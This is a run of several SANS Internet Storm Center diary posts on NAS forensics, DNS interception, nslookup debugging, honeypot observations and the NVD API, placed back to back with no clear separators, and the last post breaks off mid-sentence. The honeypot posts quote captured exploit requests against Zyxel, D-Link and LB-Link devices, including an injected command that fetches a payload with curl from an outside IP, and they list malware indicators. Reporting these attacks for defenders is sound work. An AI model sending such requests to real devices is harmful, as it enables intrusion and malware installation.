Synology NAS solutions are popular devices. They are also used in many organizations. Their product range goes from small boxes with two disks (I’m not sure they still sell a single-disk enclosure today) up to monsters, rackable with plenty of disks. They offer multiple disk management options but rely on many open-source software (like most appliances). For example, there are no expensive hardware RAID controllers in the box. They use the good old “MD” (“multiple devices”) technology, managed with the well-known mdadm tool[1]. Synology NAS run a Linux distribution called DSM. This operating system has plenty of third-party tools but lacks pure forensics tools.

In a recent investigation, I had to investigate a NAS that was involved in a ransomware attack. Many files (backups) were deleted. The attacker just deleted some shared folders. The device had two drives configured in RAID0 (not the best solution I know but they lack storage capacity). The idea was to mount the file system (or at least have the block device) on a Linux host and run forensic tools, for example, photorec.

In such a situation, the biggest challenge will be to connect all the drivers to the analysis host! Here, I had only two drives but imagine that you are facing a bigger model with 5+ disks. In my case, I used two USB-C/SATA adapters to connect the drives. Besides the software RAID, Synology volumes also rely on LVM2 (“Logical Volume Manager”)[2]. In most distributions, the packages mdadm and lvm2 are available (for example on SIFT Workstation). Otherwise, just install them:

# apt install mdadm lvm2

Once you connect the disks (tip: add a label on them to replace them in the right order) to the analysis host, verify if they are properly detected:

# lsblk
NAME    MAJ:MIN RM   SIZE RO TYPE  MOUNTPOINTS
sda       8:0    0 465.8G  0 disk
|-sda1    8:1    0 464.8G  0 part  /
|-sda2    8:2    0     1K  0 part
`-sda5    8:5    0   975M  0 part  [SWAP]
sdb       8:16   0   3.6T  0 disk
|-sdb1    8:17   0     8G  0 part
|-sdb2    8:18   0     2G  0 part
`-sdb3    8:19   0   3.6T  0 part
sdc       8:32   0   3.6T  0 disk
|-sdc1    8:33   0   2.4G  0 part
|-sdc2    8:34   0     2G  0 part
`-sdc3    8:35   0   3.6T  0 part
sr0      11:0    1  1024M  0 rom

"sdb3" and "sdc3" are the NAS partitions used to store data (2 x 4TB in RAID0). The good news, the kernel will detect that these disks are part of a software RAID! You just need to rescan them and "re-assemble" the RAID:

# mdadm --assemble --readonly --scan --force --run 

Then, your data should be available via a /dev/md? device:

# cat /proc/mdstat
Personalities : [raid0]
md0 : active (read-only) raid0 sdb3[0] sdc3[1]
      7792588416 blocks super 1.2 64k chunks

unused devices: <none>

The next step is to detect how data are managed by the NAS. Synology provides a technology called SHR[3] that uses LVM:

# lvdisplay
  WARNING: PV /dev/md0 in VG vg1 is using an old PV header, modify the VG to update.
  --- Logical volume ---
  LV Path                /dev/vg1/syno_vg_reserved_area
  LV Name                syno_vg_reserved_area
  VG Name                vg1
  LV UUID                08g9nN-Etde-JFN9-tn3D-JPHS-pyoC-LkVZAI
  LV Write Access        read/write
  LV Creation host, time ,
  LV Status              NOT available
  LV Size                12.00 MiB
  Current LE             3
  Segments               1
  Allocation             inherit
  Read ahead sectors     auto

  --- Logical volume ---
  LV Path                /dev/vg1/volume_1
  LV Name                volume_1
  VG Name                vg1
  LV UUID                fgjC0Y-mvx5-J5Qd-Us2k-Ppaz-KG5X-tgLxaX
  LV Write Access        read/write
  LV Creation host, time ,
  LV Status              NOT available
  LV Size                <7.26 TiB
  Current LE             1902336
  Segments               1
  Allocation             inherit
  Read ahead sectors     auto

You can see that the NAS has only one volume created ("volume_1" is the default name in DSM).

From now on, you can use /dev/vg1/volume_1 in your investigations. Mount it, scan it, image it, etc...

[1] https://en.wikipedia.org/wiki/Mdadm
[2] https://en.wikipedia.org/wiki/Logical_Volume_Manager_(Linux)
[3] https://kb.synology.com/en-br/DSM/tutorial/What_is_Synology_Hybrid_RAID_SHR

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

ISPs have a history of intercepting DNS. Often, DNS interception is done as part of a "value add" feature to block access to known malicious websites. Sometimes, users are directed to advertisements if they attempt to access a site that doesn't exist. There are two common techniques how DNS spoofing/interception is done:

1. The ISP provides a recommended DNS server. This DNS server will filter requests to known malicious sites.
2. The ISP intercepts all DNS requests, not just requests directed at the ISPs DNS server.

The first method is what I would consider a "recommended" or "best practice" method. The customer can use the ISP's DNS server, but traffic is left untouched if a customer selects a different recursive resolver. The problem with this approach is that malware sometimes alters the user's DNS settings.

Comcast, as part of its "Business Class" offer, provides a tool called "Security Edge". It is typically included for free as part of the service. Security Edge is supposed to interface with the customer's modem but can only do so for specific configurations. Part of the service is provided by DNS interception. Even if "Security Edge" is disabled in the customer's dashboard, DNS interception may still be active.

One issue with any filtering based on blocklists is false positives. In some cases, what constitutes a "malicious" hostname may not even be well defined. I could not find a definition on Comcast's website. But Bleeping Computer (www.bleepingcomputer.com) recently ended up on Comcast's "naughty list". I know all to well that it is easy for a website that covers security topics to end up on these lists. The Internet Storm Center website has been on lists like this before. Usually, sloppy signature-based checks will flag a site as malicious. An article may discuss a specific attack and quote strings triggering these signatures.

Comcast offers recursive resolvers to it's customers: 75.75.75.75, 75.75.76.76, 2001:558:feed:1 and 2001:558:feed:2. There are advantages to using your ISP's DNS servers. They are often faster as they are physically closer to your network, and you profit from responses cached by other users. My internal resolver is configured as a forwarding resolver, spreading queries among different well performing resolvers like Quad9, Cloudflare and Google.

So what happened to bleepingcomputer.com? When I wasn't able to resolve bleepingcomputer.com, I checked my DNS logs, and this entry stuck out:

broken trust chain resolving 'bleepingcomputer.com/A/IN': 8.8.8.8#53 

My resolver verifies DNSSEC. Suddenly, I could not verify DNSSEC, which is a good indication that either DNSSEC was misconfigured or someone was modifying DNS responses. Note that the response appeared to come from Google's name server (8.8.8.8).

My first step in debugging this problem was dnsviz.net, a website operated by Sandia National Laboratory. The site does a good job of visualizing DNSSEC and identifying configuration issues. Bleepingcomputer.com looked fine. Bleepingcomputer didn't use DNSSEC. So why the error? There was another error in my resolver's logs that shed some light on the issue:

no valid RRSIG resolving 'bleepingcomputer.com/DS/IN': 8.8.8.8#53

DNSSEC has to establish somehow if a particular site supports DNSSEC or not. The parent zone should offer an "NSEC3" record to identify zones that are not signed or not signed. DS records, also offered by the parent zone, verify the keys you may receive for a zone. If DNS is intercepted, the requests for these records may fail, indicating that something odd is happening.

So, someone was "playing" with DNS. And it affected various DNS servers I tried, not just Comcast or Google. Using "dig" to query the name servers directly, and skipping DNSSEC, I received a response:

8.8.8.8.53 > 10.64.10.10.4376: 35148 2/0/1 www.bleepingcomputer.com. A 192.73.243.24, www.bleepingcomputer.com. A 192.73.243.36 (85)

Usually, www.bleepingcomputer.com resolved to:

% dig +short www.bleepingcomputer.com
104.20.185.56
172.67.2.229
104.20.184.56

It took a bit of convincing, but I was able to pull up the web page at the wrong IP address:

The problem with these warning pages is that you usually never see them. Even if you resolve the IP address, TLS will break the connection, and many sites employ strict transport security. As part of my Comcast business account, I can "brand" the page, but by default, it is hard to tell that this page was delivered by Comcast.

But how do we know if someone is interfering with DNS traffic? A simple check I am employing is to look for the DNS timing and compare the TTL values for different name servers.

(1) Check timing

Send the same query to multiple public recursive DNS servers. For example:

% dig www.bleepingcomputer.com @75.75.75.75

; <<>> DiG 9.10.6 <<>> www.bleepingcomputer.com @75.75.75.75
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 8432
;; flags: qr rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 512
;; QUESTION SECTION:
;www.bleepingcomputer.com.    IN    A

;; ANSWER SECTION:
www.bleepingcomputer.com. 89    IN    A    104.20.185.56
www.bleepingcomputer.com. 89    IN    A    104.20.184.56
www.bleepingcomputer.com. 89    IN    A    172.67.2.229

;; Query time: 59 msec
;; SERVER: 75.75.75.75#53(75.75.75.75)
;; WHEN: Tue May 07 20:00:05 EDT 2024
;; MSG SIZE  rcvd: 101

Dig includes the "Query time" in its output. In this case, it was 59 msec. We expect a speedy time like this for Comcast's DNS server while connected to Comcast's network. But let's compare this to other servers:

8.8.8.8: 59 msec
1.1.1.1: 59 msec
9.9.9.9: 64 msec
11.11.11.11: 68 msec
113.113.113.113: 69 msec

The results are very consistent. In particular, the last one is interesting. This server is located in China. 

(2) check TTLs

A recursive resolver will add a response it receives from an authoritative DNS server to its cache. The TTL for records bulled from the cache will decrease with the time the response sits in the resolver's cache. If all responses come from the same resolver, the TTL should decrement consistently. This test is a bit less telling. Often, several servers are used, and with anycast, it is not always easy to tell which server the response comes from. These servers do not always have a consistent cache.

Final Words

DNS interception, even if well-meaning, does undermine some of the basic "internet trust issues". Even if it is used to block users from malicious sites, it needs to be properly declared to the user, and switches to turn it off will have to function. This could be a particular problem if queries to other DNS filtering services are intercepted. I have yet to test this for Comcast and, for example, OpenDNS.

 

 

 

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

A friend was having unexpected results with DNS queries on a Windows machine. I told him to use nslookup's debug options.

When you execute a simple DNS query like "nslookup example.com. 8.8.8.8", you get an answer like this (notice that in my nslookup query, I terminated the FQDN with a dot: "example.com.", I do that to prevent Windows from adding suffixes):

You see the result of a reverse DNS lookup (8.8.8.8 is dns.google) and you get 2 IP addresses for example.com in your answer: an IPv6 address and an IPv4 address.

If my friend would have been able to run packet capture on the machine, he would have seen 3 DNS queries and answers:

A PTR query to do a reverse DNS lookup for 8.8.8.8, an A query to lookup IPv4 addresses for example.com, and an AAAA query to lookup IPv6 addresses for example.com.

One can use nslookup's debug options to obtain equivalent information, without doing a packet capture.

Debug option -d displays extra information for each DNS response packet:

Here is nslookup's parsed DNS response packet for the PTR query:

Here is Wireshark's dissection of this packet:

You can see that the debug output contains the same packet information as Wireshark's, but presented in another form.

The same applies for the A query:

And the AAAA query:

If you also want to see the DNS query packets, you can use debug option -d2:

Besides the parsed DNS query, you now also see the length in bytes of each DNS packet (the UDP payload).

Here is the A query:

And here is the AAAA query:

Didier Stevens
Senior handler
blog.DidierStevens.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Before diving into the vulnerability, a bit about the affected devices. LB-Link, the make of the devices affected by this vulnerability, produces various wireless equipment that is sometimes sold under different brands and labels. This will make it difficult to identify affected devices. These devices are often low-cost "no name" solutions or, in some cases, may even be embedded, which makes it even more difficult to find firmware updates.

Before buying any IoT device, WiFi router, or similar piece of equipment, please make sure the vendor does:

1. Offer firmware updates for download from an easy-to-find location.
2. Provide an "end of life" policy stating how long a particular device will receive updates.

Alternatively, you may want to verify if the device can be "re-flashed" using an open source firmware.

But let us go back to this vulnerability. There are two URLs affected, one of which showed up in our "First Seen URLs":

/goform/sysTools
/goform/set_LimitClient_cfg

The second one has been used more in the past, the first is relatively new in our logs. The graph below shows how "set_LimitClient.cfg" is much more popular. We only saw a significant number of scans for "sysTools" on May 1st.

The full requests we are seeing:

POST /goform/set_LimitClient_cfg HTTP/1.1
Cookie: user=admin

And yes, the vulnerability evolves around the "user=admin" cookie and a command injection in the password parameter. This is too stupid to waste any more time on, but it is common enough to just give up and call it a day. The NVD entry for the vulnerability was updated last week, adding an older PoC exploit to it. Maybe that got some kids interested in this vulnerability again.

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

I reviewed a filename I see regularly uploaded to my DShield sensor eyshcjdmzg that have been seeing since the 1 October 2023 which has multiple hashes and has been labeled as trojan.xorddos/ddos. These various files have only been uploaded to my DShield sensor by IP 218.92.0.60. Here is the timeline of the activity since 1 October 2023.

According to VirusTotal the oldest file submission is b39633ff1928c7f548c6a27ef4265cfd2c380230896b85f432ff15c7c819032c [1] last submitted in Aug 2019 and was uploaded to the DShield sensor only once on the 7 March 2024. 

This file can be detected with ET MALWARE DDoS.XOR Checkin via HTTP at Proofpoint Emerging Threats Open. 

Sandbox Analysis

I submitted file ea40ecec0b30982fbb1662e67f97f0e9d6f43d2d587f2f588525fae683abea73 to a few sandbox including AssemblyLine [7] to get any and all indicators that were part of this sample:

Other indicators appear to include a config file [5] that is used for C2 communications. I compared my results against other online sandbox [8][9] and there isn't much that has changed in the most active sample [1]. 

Indicators - Hashes

ea40ecec0b30982fbb1662e67f97f0e9d6f43d2d587f2f588525fae683abea73 - 65
cd9bc23360e5ca8136b2d9e6ef5ed503d2a49dd2195a3988ed93b119a04ed3a9 - 2
98e53e2d11d0aee17be3fe4fa3a0159adef6ea109f01754b345f7567c92ebebb - 1
b39633ff1928c7f548c6a27ef4265cfd2c380230896b85f432ff15c7c819032c - 1
ecc33502fa7b65dd56cb3e1b6d3bb2c0f615557c24b032e99b8acd40488fad7c - 1
b4a86fdf08279318c93a9dd6c61ceafc9ca6e9ca19de76c69772d1c3c89f72a8 - lib.xlsx
b4a86fdf08279318c93a9dd6c61ceafc9ca6e9ca19de76c69772d1c3c89f72a8 - lib.xlsxpi.enoan2107[.]com:112

Indicator - IP

218.92.0.60
114.114.114.114

Indicator - Domain

qq[.]com/lib.asp
qq[.]com/lib.xlsx
qq[.]com/lib.xlsxpi.enoan2107.com:112

Indicator - Email

keld@dkuug.dk 

[1] https://www.virustotal.com/gui/file/ea40ecec0b30982fbb1662e67f97f0e9d6f43d2d587f2f588525fae683abea73
[2] https://www.virustotal.com/gui/file/cd9bc23360e5ca8136b2d9e6ef5ed503d2a49dd2195a3988ed93b119a04ed3a9
[3] https://www.virustotal.com/gui/file/98e53e2d11d0aee17be3fe4fa3a0159adef6ea109f01754b345f7567c92ebebb
[3] https://www.virustotal.com/gui/file/b39633ff1928c7f548c6a27ef4265cfd2c380230896b85f432ff15c7c819032c
[4] https://www.virustotal.com/gui/file/ecc33502fa7b65dd56cb3e1b6d3bb2c0f615557c24b032e99b8acd40488fad7c
[5] https://www.virustotal.com/gui/file/b4a86fdf08279318c93a9dd6c61ceafc9ca6e9ca19de76c69772d1c3c89f72a8
[6] https://isc.sans.edu/ipinfo/218.92.0.60
[7] https://cybercentrecanada.github.io/assemblyline4_docs/
[8] https://www.hybrid-analysis.com/sample/ea40ecec0b30982fbb1662e67f97f0e9d6f43d2d587f2f588525fae683abea73/6542ca0426609dce5c06aef5
[9] https://www.hybrid-analysis.com/sample/f0e4649181ee9917f38233a1d7b6cbb98c9f7b484326f80c1bebc1fa3aef0645/65c332e1c38ced89350a1e94

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Yesterday, I talked about attacks against a relatively recent D-Link NAS vulnerability. Today, scanning my honeypot logs, I found an odd URL that I didn't recognize. The vulnerability is a bit older but turns out to be targeting yet another NAS.

The sample request:

POST /cmd,/ck6fup6/portal_main/pkg_init_cmd/register_main/setCookie HTTP/1.0
User-Agent: Baidu
Accept: */*
Content-Length: 73
Content-Type: application/x-www-form-urlencoded
Host: [redacted]

pkgname=myZyXELcloud-Agent&cmd=%3bcurl%2089.190.156.248/amanas2&content=1

The exploit is simple: attempt to download and execute the "amanas2" binary and execute it. Sadly, I was not able to retrieve the file. Virustotal does show the URL as malicious for a couple of anti-malware tools [1]

Oddly, I am seeing this pattern only the last couple days, even though the vulnerability and the PoC were disclosed last year [2]:

Date	Count
April 27th	56
April 28th	1530
April 29th	899
April 30th	749

Based on our logs, only one IP address exploits the vulnerability: %%ip: 89.190.156.248%%. The IP started scanning a couple of days earlier for index pages and "jeecgFormDemoController.do, likely attempting to exploit a deserialization vulnerability in jeecgFormDemoController 

[1] https://www.virustotal.com/gui/url/ed0f3f39dce2cecca3cdc9e15099f0aa6cad3ea18f879beafe972ecd062a8229?nocache=1
[2] https://bugprove.com/knowledge-hub/cve-2023-4473-and-cve-2023-4474-authentication-bypass-and-multiple-blind-os-command-injection-vulnerabilities-in-zyxel-s-nas-326-devices/

 

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

End of March, NetworkSecurityFish disclosed a vulnerability in various D-Link NAS devices [1]. The vulnerability allows access to the device using the user "messagebus" without credentials. The sample URL used by the PoC was:

GET /cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system=<BASE64_ENCODED_COMMAND_TO_BE_EXECUTED>

In addition to not requiring a password, the URL also accepts arbitrary system commands, which must be base64 encoded. Initial exploit attempts were detected as soon as April 8th. The vulnerability is particularly dangerous as some affected devices are no longer supported by DLink, and no patch is expected to be released. DLink instead advised to replace affected devices [2]. I have not been able to find an associated CVE number.

After the initial exploit attempts at the beginning of the month, we now see a new distinct set of exploit attempts, some of which use different URLs to attack vulnerable systems. It appears that nas_sharing.cgi is not the only endpoint that can be used to take advantage of the passwordless "messagebus" account.

So far, we do see these three different URLs

/.most/orospucoc.cgi
/cgi-bin/nas_sharing.cgi
/cgi-bin/orospucoc.cgi

It is not clear if "orospucoc.cgi" is a distinct different vulnerability. But it appears more like another endpoint allowing for command execution, just like the original "nas_sharing.cgi" endpoint. I found no documentation mentioning the "orospucoc.cgi" endpoint. If anybody has an affected D-Link NAS device, let me know if this endpoint exists. In particular, "/.most/orospucoc.cgi" is odd. This URL starts showing up in our logs on April 17th. The term "orospucoc" in Turkish translates to the English "bitch", which could indicate that this is not an actual vulnerable URL, but maybe a backdoor left behind by earlier attacks. The use of the directory ".most" and the payload "echo most" may point to a backdoor rather than a valid binary shipped with the device's firmware.

Any feedback from DLink NAS users is appreciated.

The most common command executed is "uname -m" which is likely used to identify vulnerable devices. Other commands include:

echo    @hackerlor0510
echo    most

 

[1] https://github.com/netsecfish/dlink
[2] https://supportannouncement.us.dlink.com/security/publication.aspx?name=SAP10383

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

I've been working on comparing data from different DShield [1] honeypots to understand differences when the honeypots reside on different networks. One point of comparison is malware submitted to the honeypots. During a review of the summarized data, I noticed that one honeypot was an outlier in terms of malware captured. 
 

Figure 1: Highlighted differences for one honeypot and malware uploaded or downloaded to it. 

 

A honeypot in Azure [2] had only seen two files:

• a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 [3]
• 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b [4]

In addition, there were four files seen for all the honeypots except for the Azure honeypot:

• 7a9da7d10aa80b0f9e2e3f9e518030c86026a636e0b6de35905e15dd4c8e3e2d [5]
• 199d11d0fd7043fe9206954ed8bc7b54d1912013a2a71bdf8bb007b71bb490c8 [6]
• 18e0f574bf11bc5e7de8c95b83c187649b2d87d74651e59d9c2aad53ac7bb7f1 [7]
• f344f455f7c90b835c2a8e87d5e6a2c1f8f5c02324a8e02bd066c3a10be1f3d0 [8]

Another unusual item was the reported network ports showing activity. 

Figure 2: Highlighted ports for Azure honeypot, demonstrating gaps in port activity reported by other honeypots.

 

Looking into the logs, I noticed that the local firewall logs were not updated since January 2024. Outside of filtering traffic to the normal administrative SSH port (%%port:12222%%), the iptables firewall also provides NAT redirected ports to add surface area to the honeypot. 

 

Figure 3: Highlighted ports only made available due to iptables NAT redirection rules (%%port:22%%, %%port:23%%, %%port:2323%%, %%port:80%%, %%port:8080%%, %%port:7547%%, %%port:5555%%, %%port:9000%%)

 

Figure 4: Example iptables rules for honeypot, highlighting NAT rules

 

This required setting up another honeypot to make sure similar data was being collected. Since I recalled having some issues setting up the Azure honeypot originally, I decided to use a different operating system. The honeypot was originally set up with Linux (ubuntu 20.04). After trying Linux (debian 11), I had issues with iptables being properly configured after a completed install as well. When using Linux (debian 12), the installation of the honeypot completed and iptables rules were configured correctly.

So, did the change in attack surface change the malware found on the new honeypot?

 

Figure 5: New malware highlighted that was submitted to an Azure honeypot with functioning iptables that contained proper NAT redirection rules.

 

It does appear that the change in ports did impact data received. It only took a few days of waiting. The firewall logs of the new Azure honeypot showed only activity fo TCP port 22 for the IP address registered for the cowrie [10] session, which without iptables would have not been available for attack.

 

honeypotuser@azurehp2:/logs$ zcat /var/log/dshield.log*.gz | grep "49.87.111.198" | awk '{print $18}'
DPT=22
DPT=22
DPT=22
DPT=22
DPT=22

 

Having iptables properly configured can help protect the administrative port, but will also impact data received. The changed attack surface in my case meant not seeing some attacks that may only be looking for SSH over TCP port 22. Having iptables functioning properly also means having firewall log data to analyze. 

 

[1] https://isc.sans.edu/honeypot.html
[2] https://azure.microsoft.com/
[3] https://www.virustotal.com/gui/file/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2
[4] https://www.virustotal.com/gui/file/01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b
[5] https://www.virustotal.com/gui/file/7a9da7d10aa80b0f9e2e3f9e518030c86026a636e0b6de35905e15dd4c8e3e2d
[6] https://www.virustotal.com/gui/file/199d11d0fd7043fe9206954ed8bc7b54d1912013a2a71bdf8bb007b71bb490c8
[7] https://www.virustotal.com/gui/file/18e0f574bf11bc5e7de8c95b83c187649b2d87d74651e59d9c2aad53ac7bb7f1
[8] https://www.virustotal.com/gui/file/f344f455f7c90b835c2a8e87d5e6a2c1f8f5c02324a8e02bd066c3a10be1f3d0
[9] https://www.virustotal.com/gui/file/3c5ffe548ea93622d11b67eead48d50f9ee39b09e1e813747883d1528569ffd1
[10] https://github.com/cowrie/cowrie

--
Jesse La Grew
Handler

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

A while back I got an email from Perry, one of our readers who was having a problem using my cvescan script, which I covered in a 3 part story back in 2021:

• https://isc.sans.edu/forums/diary/Using+the+NIST+Database+and+API+to+Keep+Up+with+Vulnerabilities+and+Patches+Part+1+of+3/26958/
• https://isc.sans.edu/forums/diary/Using+the+NIST+Database+and+API+to+Keep+Up+with+Vulnerabilities+and+Patches+Playing+with+Code+Part+2+of+3/26964/
• https://isc.sans.edu/forums/diary/Using+the+NVD+Database+and+API+to+Keep+Up+with+Vulnerabilities+and+Patches+Tool+Drop+CVEScan+Part+3+of+3/26974/

The problem was simple, the script had just stopped working.  The NVD API version 1.0 had been retired in Dec 2023, and of course I had no idea.  A quick visit to their website got me the details of this change:

• https://nvd.nist.gov/general/news/nvd-program-transition-announcement
• https://nvd.nist.gov/general/news/api-20-announcements

Anyway - this turned into a simple enough set of changes for my script, but some fundamental changes to the API itself.  Full docs for the API start here:

• https://nvd.nist.gov/developers

First, they moved from an open restful API to one that (they say) requires an API key (more on this later).  This takes care of change notifications in future, because you have to register to get a key.  Watch your spam folder, Outlook helpfully placed the email with the registration link in it in my Junk Email folder.

The original call in the NVD 1.0 API to collect CVE's for a specific product IOD (CPE) is:

$request = "https://services.nvd.nist.gov/rest/json/cves/1.0?modStartDate=" + $StartDate + "&cpeMatchString=" + $app.cpe $CVEs = (invoke-webrequest $request | ConvertFrom-Json).result.CVE_items.cve.CVE_data_meta.id

Similarly, the NVD 1.0 API call to collect the metadtaa for a specific CVE:

$request = "https://services.nvd.nist.gov/rest/json/cve/1.0/" + $CVE.CVE $cvemetadata = (invoke-webrequest $request) | convertfrom-json

In the version 2 API, let's construct an example call, looking for CVE's in Windows 10.  For a review of CPE's, check out the first 3 parts of this story.  I often "feed" CVEScan by collecting CPE's using nmap for instance.  Anyway, back to constructing the request:

$cpematchstring = "cpe:2.3:o:microsoft:windows_10:1607:*:*:*:*:*:*:*" $request = "https://services.nvd.nist.gov/rest/json/cves/2.0?cpeName=" + $cpematchstring

Now let's make the call and look at the fields we get back:

(invoke-webrequest $request | ConvertFrom-Json) | gm    TypeName: System.Management.Automation.PSCustomObject Name            MemberType   Definition ----            ----------   ---------- Equals          Method       bool Equals(System.Object obj) GetHashCode     Method       int GetHashCode() GetType         Method       type GetType() ToString        Method       string ToString() format          NoteProperty string format=NVD_CVE resultsPerPage  NoteProperty int resultsPerPage=2000 startIndex      NoteProperty int startIndex=0 timestamp       NoteProperty string timestamp=2024-04-23T17:40:15.370 totalResults    NoteProperty int totalResults=2574 version         NoteProperty string version=2.0 vulnerabilities NoteProperty Object[] vulnerabilities=System.Object[]

Now let's look at the vulnerability list, picking just a random item in the list:

$v = (invoke-webrequest $request | ConvertFrom-Json).vulnerabilities $v[7].cve id               : CVE-2016-0170 sourceIdentifier : secure@microsoft.com published        : 2016-05-11T01:59:10.027 lastModified     : 2018-10-12T22:11:24.817 vulnStatus       : Modified descriptions     : {@{lang=en; value=GDI in Microsoft Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7                    SP1, Windows 8.1, Windows Server 2012 Gold and R2, Windows RT 8.1, and Windows 10 Gold and 1511                    allows remote attackers to execute arbitrary code via a crafted document, aka "Windows Graphics                    Component RCE Vulnerability."}, @{lang=es; value=GDI en Microsoft Windows Vista SP2, Windows Server                    2008 SP2 y R2 SP1, Windows 7 SP1, Windows 8.1, Windows Server 2012 Gold y R2, Windows RT 8.1 y                    Windows 10 Gold y 1511 permite a atacantes remotos ejecutar c??digo arbitrario a trav??s de un                    documento manipulado, tambi??n conocido como "Windows Graphics Component RCE Vulnerability".}} metrics          : @{cvssMetricV30=System.Object[]; cvssMetricV2=System.Object[]} weaknesses       : {@{source=nvd@nist.gov; type=Primary; description=System.Object[]}} configurations   : {@{nodes=System.Object[]}} references       : {@{url=http://packetstormsecurity.com/files/137096/Microsoft-Windows-gdi32.dll-ExtEscape-Buffer-Over                    flow.html; source=secure@microsoft.com}, @{url=http://www.securityfocus.com/bid/89864;                    source=secure@microsoft.com}, @{url=http://www.securitytracker.com/id/1035823;                    source=secure@microsoft.com},                    @{url=https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-055;                    source=secure@microsoft.com}}

There's no need for a second call, all the NVD metadata is in the returned data for that first call!  You can just keep parsing as deep as you want until you get the exact fields that you want!  For instance, if we just want the CVE list:

$cvelist =  $v.id $cvelist CVE-2013-3900 CVE-2015-6184 CVE-2016-0088 ... and so on

Or if you wanted the CVE list and the last modified date:

$datelist =  (invoke-webrequest $request | ConvertFrom-Json).vulnerabilities.cve | select id,lastModified $datelist id             lastModified --             ------------ CVE-2013-3900  2022-11-02T15:15:43.850 CVE-2015-6184  2018-10-12T22:10:41.470 CVE-2016-0088  2018-10-12T22:11:00.707 CVE-2016-0089  2018-10-12T22:11:00.910 .. and so on

Sticking with our favourite item lucky 7, the description would be:

$v[7].cve.descriptions[0].value GDI in Microsoft Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8.1, Windows Server 2012 Gold and R2, Windows RT 8.1, and Windows 10 Gold and 1511 allows remote attackers to execute arbitrary code via a crafted document, aka "Windows Graphics Component RCE Vulnerability."

To get exploitability and import scores for both version 2 and version 3 of the CVSS Metric:

$v[7].cve.metrics.cvssmetricv2 ource                  : nvd@nist.gov type                    : Primary cvssData                : @{version=2.0; vectorString=AV:N/AC:M/Au:N/C:C/I:C/A:C; accessVector=NETWORK;                           accessComplexity=MEDIUM; authentication=NONE; confidentialityImpact=COMPLETE;                           integrityImpact=COMPLETE; availabilityImpact=COMPLETE; baseScore=9.3} baseSeverity            : HIGH exploitabilityScore     : 8.6 impactScore             : 10.0 acInsufInfo             : False obtainAllPrivilege      : False obtainUserPrivilege     : False obtainOtherPrivilege    : False userInteractionRequired : True   $v[7].cve.metrics.cvssmetricv2.impactscore 10.0 $v[7].cve.metrics.cvssmetricv2.exploitabilityscore 8.6

And for v3:

